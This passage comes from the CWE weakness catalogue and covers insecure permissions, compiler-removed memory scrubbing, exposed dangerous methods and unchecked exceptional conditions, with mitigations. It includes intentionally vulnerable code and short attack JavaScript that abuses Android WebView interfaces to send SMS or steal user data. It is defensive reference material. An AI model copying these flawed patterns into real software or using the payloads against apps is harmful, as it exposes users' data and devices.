- preventing the input/output from being directly provided by an attacker (e.g. "indirect selection" that maps externally-provided values to internally-controlled values)
- preventing the input/output from being processed at all

This weakness typically applies in cases where the product prepares a control message that another process must act on, such as a command or query, and malicious input that was intended as data, can enter the control plane instead. However, this weakness also applies to more general cases where there are not always control implications.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

MemberOf	C	944	SFP Secondary Cluster: Access Management	888	2430
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2556

Notes

Maintenance

This overlaps verification errors, permissions, and privileges. A closely related weakness is the incorrect assignment of groups to a resource. It is not clear whether it would fall under this entry or require a different entry.

CWE-710: Improper Adherence to Coding Standards

Weakness ID : 710
Structure : Simple
Abstraction : Pillar

Description

The product does not follow certain coding rules for development, which can lead to resultant weaknesses or increase the severity of the associated vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-732: Incorrect Permission Assignment for Critical Resource

Weakness ID : 732
Structure : Simple
Abstraction : Class

Description

The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.

Extended Description

When a resource is given a permission setting that provides access to a wider range of actors than required, it could lead to the exposure of sensitive information, or the modification of that resource by unintended parties. This is especially dangerous when the resource is related to program configuration, execution, or sensitive user data. For example, consider a misconfigured storage account for the cloud that can be read or written by a public or anonymous user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories *An attacker may be able to read sensitive information from the associated resource, such as credentials or configuration information stored in a file.*	
Access Control	Gain Privileges or Assume Identity *An attacker may be able to modify critical properties of the associated resource to gain privileges, such as replacing a world-writable executable with a Trojan horse.*	
Integrity Other	Modify Application Data Other *An attacker may be able to destroy or corrupt critical data in the associated resource, such as deletion of records from a database.*	

Detection Methods

Automated Static Analysis

Automated static analysis may be effective in detecting permission problems for system resources such as files, directories, shared memory, device interfaces, etc. Automated techniques may be able to detect the use of library functions that modify permissions, then analyze function calls for arguments that contain potentially insecure values. However, since the software's intended security policy might allow loose permissions for certain operations (such as publishing a file on a web server), automated static analysis may produce some false positives - i.e., warnings that do not have any security consequences or require any code changes. When custom permissions models are used - such as defining who can read messages in a particular forum in a bulletin board system - these can be difficult to detect using automated static analysis. It may be possible to define custom signatures that identify any custom functions that implement the permission checks and assignments.

Automated Dynamic Analysis

Automated dynamic analysis may be effective in detecting permission problems for system resources such as files, directories, shared memory, device interfaces, etc. However, since the software's intended security policy might allow loose permissions for certain operations (such as publishing a file on a web server), automated dynamic analysis may produce some false positives - i.e., warnings that do not have any security consequences or require any code changes. When custom permissions models are used - such as defining who can read messages in a particular forum in a bulletin board system - these can be difficult to detect using automated dynamic analysis. It may be possible to define custom signatures that identify any custom functions that implement the permission checks and assignments.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Manual Static Analysis

Manual static analysis may be effective in detecting the use of custom permissions models and functions. The code could then be examined to identifying usage of the related functions. Then the human analyst could evaluate permission assignments in the context of the intended security model of the software.

Manual Dynamic Analysis

Manual dynamic analysis may be effective in detecting the use of custom permissions models and functions. The program could then be executed with a focus on exercising code paths that are related to the custom permissions. Then the human analyst could evaluate permission assignments in the context of the intended security model of the software.

Fuzzing

Fuzzing is not effective in detecting this weakness.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and watch for library functions or system calls on OS resources such as files, directories, and shared memory. Examine the arguments to these calls to infer which permissions are being used.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Inter-application Flow Analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Host Application Interface Scanner Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer Automated Monitored Execution Forced Path Execution

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

When using a critical resource such as a configuration file, check to see if the resource has insecure permissions (such as being modifiable by any regular user) [REF-62], and generate an error or even exit the software if there is a possibility that the resource could have been modified by an unauthorized party.

Phase: Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully defining distinct user groups, privileges, and/or roles. Map these against data, functionality, and the related resources. Then set the permissions accordingly. This will allow you to maintain more fine-grained control over your resources. [REF-207]

Effectiveness = Moderate

This can be an effective strategy. However, in practice, it may be difficult or time consuming to define these areas when there are many different resources or user types, or if the applications features change rapidly.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phase: Implementation

Phase: Installation

During program startup, explicitly set the default permissions or umask to the most restrictive setting possible. Also set the appropriate permissions during program installation. This will prevent you from inheriting insecure permissions from any user who installs or runs the program.

Effectiveness = High

Phase: System Configuration

For all configuration files, executables, and libraries, make sure that they are only readable and writable by the software's administrator.

Effectiveness = High

Phase: Documentation

Do not suggest insecure configuration changes in documentation, especially if those configurations can extend to resources and other programs that are outside the scope of the application.

Phase: Installation

Do not assume that a system administrator will manually change the configuration to the settings that are recommended in the software's manual.

Phase: Operation

Phase: System Configuration

Strategy = Environment Hardening

Ensure that the software runs properly under the United States Government Configuration Baseline (USGCB) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.

Phase: Implementation

Phase: System Configuration

Phase: Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to disable public access.

Demonstrative Examples

Example 1:

The following code sets the umask of the process to 0 before creating a file and writing "Hello world" into the file.

Example Language: C *(Bad)*

```
#define OUTFILE "hello.out"
umask(0);
FILE *out;
/* Ignore link following (CWE-59) for brevity */
out = fopen(OUTFILE, "w");
if (out) {
  fprintf(out, "hello world!\n");
  fclose(out);
}
```

After running this program on a UNIX system, running the "ls -l" command might return the following output:

Example Language: *(Result)*

```
-rw-rw-rw- 1 username 13 Nov 24 17:58 hello.out
```

The "rw-rw-rw-" string indicates that the owner, group, and world (all users) can read the file and write to it.

Example 2:

This code creates a home directory for a new user, and makes that user the owner of the directory. If the new directory cannot be owned by the user, the directory is deleted.

Example Language: PHP *(Bad)*

```
function createUserDir($username){
  $path = '/home/'.$username;
  if(!mkdir($path)){
    return false;
  }
  if(!chown($path,$username)){
    rmdir($path);
    return false;
  }
  return true;
}
```

Because the optional "mode" argument is omitted from the call to mkdir(), the directory is created with the default permissions 0777. Simply setting the new user as the owner of the directory does not explicitly change the permissions of the directory, leaving it with the default. This default allows any user to read and write to the directory, allowing an attack on the user's files. The code also fails to change the owner group of the directory, which may result in access by unexpected groups.

This code may also be vulnerable to Path Traversal (CWE-22) attacks if an attacker supplies a non alphanumeric username.

Example 3:

The following code snippet might be used as a monitor to periodically record whether a web site is alive. To ensure that the file can always be modified, the code uses chmod() to make the file world-writable.

Example Language: Perl *(Bad)*

```
$fileName = "secretFile.out";
if (-e $fileName) {
  chmod 0777, $fileName;
}
```

```
my $outFH;
if (! open($outFH, ">>$fileName")) {
   ExitError("Couldn't append to $fileName: $!");
}
my $dateString = FormatCurrentTime();
my $status = IsHostAlive("cwe.mitre.org");
print $outFH "$dateString cwe status: $status!\n";
close($outFH);
```

The first time the program runs, it might create a new file that inherits the permissions from its environment. A file listing might look like:

Example Language: *(Result)*

```
-rw-r--r-- 1 username 13 Nov 24 17:58 secretFile.out
```

This listing might occur when the user has a default umask of 022, which is a common setting. Depending on the nature of the file, the user might not have intended to make it readable by everyone on the system.

The next time the program runs, however - and all subsequent executions - the chmod will set the file's permissions so that the owner, group, and world (all users) can read the file and write to it:

Example Language: *(Result)*

```
-rw-rw-rw- 1 username 13 Nov 24 17:58 secretFile.out
```

Perhaps the programmer tried to do this because a different process uses different permissions that might prevent the file from being updated.

Example 4:

This program creates and reads from an admin file to determine privilege information.

If the admin file doesn't exist, the program will create one. In order to create the file, the program must have write privileges to write to the file. After the file is created, the permissions need to be changed to read only.

Example Language: Go *(Bad)*

```
const adminFile = "/etc/admin-users"
func createAdminFileIfNotExists() error {
   file, err := os.Create(adminFile)
   if err != nil {
      return err
   }
   return nil
}
func changeModeOfAdminFile() error {
   fileMode := os.FileMode(0440)
   if err := os.Chmod(adminFile, fileMode); err != nil {
      return err
   }
   return nil
}
```

os.Create will create a file with 0666 permissions before umask if the specified file does not exist. A typical umask of 0022 would result in the file having 0644 permissions. That is, the file would have world-writable and world-readable permissions.

In this scenario, it is advised to use the more customizable method of os.OpenFile with the os.O_WRONLY and os.O_CREATE flags specifying 0640 permissions to create the admin file.

This is because on a typical system where the umask is 0022, the perm 0640 applied in os.OpenFile will result in a file of 0620 where only the owner and group can write.

Example 5:

The following command recursively sets world-readable permissions for a directory and all of its children:

Example Language: Shell *(Bad)*

```
chmod -R ugo+r DIRNAME
```

If this command is run from a program, the person calling the program might not expect that all the files under the directory will be world-readable. If the directory is expected to contain private data, this could become a security problem.

Example 6:

The following Azure command updates the settings for a storage account:

Example Language: Shell *(Bad)*

```
az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access true
```

However, "Allow Blob Public Access" is set to true, meaning that anonymous/public users can access blobs.

The command could be modified to disable "Allow Blob Public Access" by setting it to false.

Example Language: Shell *(Good)*

```
az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access false
```

Example 7:

The following Google Cloud Storage command gets the settings for a storage account named 'BUCKET_NAME':

Example Language: Shell *(Informative)*

```
gsutil iam get gs://BUCKET_NAME
```

Suppose the command returns the following result:

Example Language: JSON *(Bad)*

```
{
  "bindings":[{
    "members":[
      "projectEditor: PROJECT-ID",
      "projectOwner: PROJECT-ID"
    ],
    "role":"roles/storage.legacyBucketOwner"
  },
  {
    "members":[
      "allUsers",
      "projectViewer: PROJECT-ID"
      ],
      "role":"roles/storage.legacyBucketReader"
    }
  ]
}
```

This result includes the "allUsers" or IAM role added as members, causing this policy configuration to allow public access to cloud storage resources. There would be a similar concern if "allAuthenticatedUsers" was present.

The command could be modified to remove "allUsers" and/or "allAuthenticatedUsers" as follows:

Example Language: Shell *(Good)*

```
gsutil iam ch -d allUsers gs://BUCKET_NAME
gsutil iam ch -d allAuthenticatedUsers gs://BUCKET_NAME
```

Observed Examples

Reference	Description
CVE-2022-29527	Go application for cloud management creates a world-writable sudoers file that allows local attackers to inject sudo rules and escalate privileges to root by winning a race condition. *https://www.cve.org/CVERecord?id=CVE-2022-29527*
CVE-2009-3482	Anti-virus product sets insecure "Everyone: Full Control" permissions for files under the "Program Files" folder, allowing attackers to replace executables with Trojan horses. *https://www.cve.org/CVERecord?id=CVE-2009-3482*
CVE-2009-3897	Product creates directories with 0777 permissions at installation, allowing users to gain privileges and access a socket used for authentication. *https://www.cve.org/CVERecord?id=CVE-2009-3897*
CVE-2009-3489	Photo editor installs a service with an insecure security descriptor, allowing users to stop or start the service, or execute commands as SYSTEM. *https://www.cve.org/CVERecord?id=CVE-2009-3489*
CVE-2020-15708	socket created with insecure permissions *https://www.cve.org/CVERecord?id=CVE-2020-15708*
CVE-2009-3289	Library function copies a file to a new target and uses the source file's permissions for the target, which is incorrect when the source file is a symbolic link, which typically has 0777 permissions. *https://www.cve.org/CVERecord?id=CVE-2009-3289*
CVE-2009-0115	Device driver uses world-writable permissions for a socket file, allowing attackers to inject arbitrary commands. *https://www.cve.org/CVERecord?id=CVE-2009-0115*
CVE-2009-1073	LDAP server stores a cleartext password in a world-readable file. *https://www.cve.org/CVERecord?id=CVE-2009-1073*
CVE-2009-0141	Terminal emulator creates TTY devices with world-writable permissions, allowing an attacker to write to the terminals of other users. *https://www.cve.org/CVERecord?id=CVE-2009-0141*
CVE-2008-0662	VPN product stores user credentials in a registry key with "Everyone: Full Control" permissions, allowing attackers to steal the credentials. *https://www.cve.org/CVERecord?id=CVE-2008-0662*
CVE-2008-0322	Driver installs its device interface with "Everyone: Write" permissions. *https://www.cve.org/CVERecord?id=CVE-2008-0322*
CVE-2009-3939	Driver installs a file with world-writable permissions. *https://www.cve.org/CVERecord?id=CVE-2009-3939*
CVE-2009-3611	Product changes permissions to 0777 before deleting a backup; the permissions stay insecure for subsequent backups. *https://www.cve.org/CVERecord?id=CVE-2009-3611*
CVE-2007-6033	Product creates a share with "Everyone: Full Control" permissions, allowing arbitrary program execution. *https://www.cve.org/CVERecord?id=CVE-2007-6033*

Reference	Description
CVE-2007-5544	Product uses "Everyone: Full Control" permissions for memory-mapped files (shared memory) in inter-process communication, allowing attackers to tamper with a session. *https://www.cve.org/CVERecord?id=CVE-2007-5544*
CVE-2005-4868	Database product uses read/write permissions for everyone for its shared memory, allowing theft of credentials. *https://www.cve.org/CVERecord?id=CVE-2005-4868*
CVE-2004-1714	Security product uses "Everyone: Full Control" permissions for its configuration files. *https://www.cve.org/CVERecord?id=CVE-2004-1714*
CVE-2001-0006	"Everyone: Full Control" permissions assigned to a mutex allows users to disable network connectivity. *https://www.cve.org/CVERecord?id=CVE-2001-0006*
CVE-2002-0969	Chain: database product contains buffer overflow that is only reachable through a .ini configuration file - which has "Everyone: Full Control" permissions. *https://www.cve.org/CVERecord?id=CVE-2002-0969*

Notes

Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).

Taxonomy Mappings

CWE-733: Compiler Optimization Removal or Modification of Security-critical Code

Weakness ID : 733
Structure : Simple
Abstraction : Base

Description

The developer builds a security-critical protection mechanism into the software, but the compiler optimizes the program such that the mechanism is removed or modified.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1038	Insecure Automated Optimizations	1886

Language : C++ *(Prevalence = Often)*

Language : Compiled *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
Other	Other	

Detection Methods

Black Box

This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successful. This is because the compiler has already removed the relevant code. Only the source code shows whether the programmer intended to clear the memory or not, so this weakness is indistinguishable from others.

White Box

This weakness is only detectable using white box methods (see black box detection factor). Careful analysis is required to determine if the code is likely to be removed by the compiler.

Demonstrative Examples

Example 1:

The following code reads a password from the user, uses the password to connect to a back-end mainframe and then attempts to scrub the password from memory using memset().

Example Language: C *(Bad)*

```
void GetData(char *MFAddr) {
  char pwd[64];
  if (GetPasswordFromUser(pwd, sizeof(pwd))) {
    if (ConnectToMainframe(MFAddr, pwd)) {
      // Interaction with mainframe
    }
  }
  memset(pwd, 0, sizeof(pwd));
}
```

The code in the example will behave correctly if it is executed verbatim, but if the code is compiled using an optimizing compiler, such as Microsoft Visual C++ .NET or GCC 3.x, then the call to memset() will be removed as a dead store because the buffer pwd is not used after its value is overwritten [18]. Because the buffer pwd contains a sensitive value, the application may be vulnerable to attack if the data are left memory resident. If attackers are able to access the correct region of memory, they may use the recovered password to gain control of the system.

It is common practice to overwrite sensitive data manipulated in memory, such as passwords or cryptographic keys, in order to prevent attackers from learning system secrets. However, with the advent of optimizing compilers, programs do not always behave as their source code alone would suggest. In the example, the compiler interprets the call to memset() as dead code because the memory being written to is not subsequently used, despite the fact that there is clearly a security motivation for the operation to occur. The problem here is that many compilers, and in fact many programming languages, do not take this and other security concerns into consideration in their efforts to improve efficiency.

Attackers typically exploit this type of vulnerability by using a core dump or runtime mechanism to access the memory used by a particular application and recover the secret information. Once an attacker has access to the secret information, it is relatively straightforward to further exploit the system and possibly compromise other resources with which the application interacts.

Observed Examples

CWE-749: Exposed Dangerous Method or Function

Weakness ID : 749
Structure : Simple
Abstraction : Base

Description

The product provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.

Extended Description

This weakness can lead to a wide variety of resultant weaknesses, depending on the behavior of the exposed method. It can apply to any number of technologies and approaches, such as ActiveX controls, Java functions, IOCTLs, and so on.

The exposure can occur in a few different ways:

- The function/method was never intended to be exposed to outside actors.
- The function/method was only intended to be accessible to a limited set of actors, such as Internet-based access from a single web site.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability Access Control Other	Gain Privileges or Assume Identity Read Application Data Modify Application Data Execute Unauthorized Code or Commands Other *Exposing critical functionality essentially provides an attacker with the privilege level of the exposed functionality. This could result in the modification or exposure of sensitive data or possibly even execution of arbitrary code.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

If you must expose a method, make sure to perform input validation on all arguments, limit access to authorized parties, and protect against all possible vulnerabilities.

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Identify all exposed functionality. Explicitly list all functionality that must be exposed to some user or set of users. Identify which functionality may be: accessible to all users restricted to a small set of privileged users prevented from being directly accessible at all Ensure that the implemented code follows these expectations. This includes setting the appropriate access modifiers where applicable (public, private, protected, etc.) or not marking ActiveX controls safe-for-scripting.

Demonstrative Examples

Example 1:

In the following Java example the method removeDatabase will delete the database with the name specified in the input parameter.

Example Language: Java *(Bad)*

```
public void removeDatabase(String databaseName) {
```

```
    try {
        Statement stmt = conn.createStatement();
        stmt.execute("DROP DATABASE " + databaseName);
    } catch (SQLException ex) {...}
}
```

The method in this example is declared public and therefore is exposed to any class in the application. Deleting a database should be considered a critical operation within an application and access to this potentially dangerous method should be restricted. Within Java this can be accomplished simply by declaring the method private thereby exposing it only to the enclosing class as in the following example.

Example Language: Java *(Good)*

```
private void removeDatabase(String databaseName) {
    try {
        Statement stmt = conn.createStatement();
        stmt.execute("DROP DATABASE " + databaseName);
    } catch (SQLException ex) {...}
    }
```

Example 2:

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

Example Language: Java *(Bad)*

```
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if(url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeDataToView(view, UserData);
            return false;
        }
        else{
            return true;
        }
    }
}
```

Example Language: Objective-C *(Bad)*

```
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:
(UIWebViewNavigationType)exNavigationType
{
    NSURL *URL = [exRequest URL];
    if ([[URL scheme] isEqualToString:@"exampleScheme"])
    {
        NSString *functionString = [URL resourceSpecifier];
        if ([functionString hasPrefix:@"specialFunction"])
        {
            // Make data available back in webview.
            UIWebView *webView = [self writeDataToView:[URL query]];
        }
        return NO;
    }
    return YES;
}
```

A call into native code can then be initiated by passing parameters within the URL:

Example Language: JavaScript *(Attack)*

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

Example 3:

This application uses a WebView to display websites, and creates a Javascript interface to a Java object to allow enhanced functionality on a trusted website:

Example Language: Java *(Bad)*

```
public class WebViewGUI extends Activity {
   WebView mainWebView;
   public void onCreate(Bundle savedInstanceState) {
      super.onCreate(savedInstanceState);
      mainWebView = new WebView(this);
      mainWebView.getSettings().setJavaScriptEnabled(true);
      mainWebView.addJavascriptInterface(new JavaScriptInterface(), "userInfoObject");
      mainWebView.loadUrl("file:///android_asset/www/index.html");
      setContentView(mainWebView);
   }
   final class JavaScriptInterface {
      JavaScriptInterface () {}
      public String getUserInfo() {
         return currentUser.Info();
      }
   }
}
```

Before Android 4.2 all methods, including inherited ones, are exposed to Javascript when using addJavascriptInterface(). This means that a malicious website loaded within this WebView can use reflection to acquire a reference to arbitrary Java objects. This will allow the website code to perform any action the parent application is authorized to.

For example, if the application has permission to send text messages:

Example Language: JavaScript *(Attack)*

```
<script>
   userInfoObject.getClass().forName('android.telephony.SmsManager').getMethod('getDefault',null).sendTextMessage(attackNumber,
   null, attackMessage, null, null);
</script>
```

This malicious script can use the userInfoObject object to load the SmsManager object and send arbitrary text messages to any recipient.

Example 4:

After Android 4.2, only methods annotated with @JavascriptInterface are available in JavaScript, protecting usage of getClass() by default, as in this example:

Example Language: Java *(Bad)*

```
final class JavaScriptInterface {
   JavaScriptInterface () { }
   @JavascriptInterface
   public String getUserInfo() {
      return currentUser.Info();
   }
}
```

This code is not vulnerable to the above attack, but still may expose user info to malicious pages loaded in the WebView. Even malicious iframes loaded within a trusted page may access the exposed interface:

Example Language: JavaScript *(Attack)*

```
<script>
  var info = window.userInfoObject.getUserInfo();
  sendUserInfo(info);
</script>
```

This malicious code within an iframe is able to access the interface object and steal the user's data.

Observed Examples

MemberOf	C	975	SFP Secondary Cluster: Architecture	888	2443
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2582

Notes

Research Gap

Under-reported and under-studied. This weakness could appear in any technology, language, or framework that allows the programmer to provide a functional interface to external parties, but it is not heavily reported. In 2007, CVE began showing a notable increase in reports of exposed method vulnerabilities in ActiveX applications, as well as IOCTL access to OS-level resources. These weaknesses have been documented for Java applications in various secure programming sources, but there are few reports in CVE, which suggests limited awareness in most parts of the vulnerability research community.

Weakness ID : 754
Structure : Simple
Abstraction : Class

Description

The product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product.

Extended Description

The programmer may assume that certain events or conditions will never occur or do not need to be worried about, such as low memory conditions, lack of access to resources due to restrictive permissions, or misbehaving clients or components. However, attackers may intentionally trigger these unusual conditions, thus violating the programmer's assumptions, possibly introducing instability, incorrect behavior, or a vulnerability.

Note that this entry is not exclusively about the use of exceptions and exception handling, which are mechanisms for both checking and handling unusual or unexpected conditions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Background Details

Many functions will return some value about the success of their actions. This will alert the program whether or not to handle any errors caused by that function.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Availability	DoS: Crash, Exit, or Restart Unexpected State *The data which were produced as a result of a function call could be in a bad state upon return. If the return value is not checked, then this bad data may be used in operations, possibly leading to a crash or other unintended behaviors.*	

Detection Methods

Automated Static Analysis

Automated static analysis may be useful for detecting unusual conditions involving system resources or common programming idioms, but not for violations of business rules.

Effectiveness = Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Choose languages with features such as exception handling that force the programmer to anticipate unusual conditions that may generate exceptions. Custom exceptions may need to be developed to handle unusual business-logic conditions. Be careful not to pass sensitive exceptions back to the user (CWE-209, CWE-248).

Phase: Implementation

Check the results of all functions that return a value and verify that the value is expected.

Effectiveness = High

Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

Phase: Implementation

If using exception handling, catch and throw specific exceptions instead of overly-general exceptions (CWE-396, CWE-397). Catch and handle exceptions as locally as possible so that exceptions do not propagate too far up the call stack (CWE-705). Avoid unchecked or uncaught exceptions where feasible (CWE-248).

Effectiveness = High

Using specific exceptions, and ensuring that exceptions are checked, helps programmers to anticipate and appropriately handle many unusual events that could occur.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. Exposing additional information to a potential attacker in the context of an exceptional condition can help the attacker determine what attack vectors are most likely to succeed beyond DoS.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Architecture and Design

Phase: Implementation

If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.

Phase: Architecture and Design

Use system limits, which should help to prevent resource exhaustion. However, the product should still handle low resource conditions since they may still occur.

Demonstrative Examples

Example 1:

Consider the following code segment:

Example Language: C *(Bad)*

```
char buf[10], cp_buf[10];
fgets(buf, 10, stdin);
strcpy(cp_buf, buf);
```

The programmer expects that when fgets() returns, buf will contain a null-terminated string of length 9 or less. But if an I/O error occurs, fgets() will not null-terminate buf. Furthermore, if the end of the file is reached before any characters are read, fgets() returns without writing anything to buf. In both of these situations, fgets() signals that something unusual has happened by returning NULL, but in

this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy().

Example 2:

The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by malloc().

Example Language: C *(Bad)*

```
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);
```

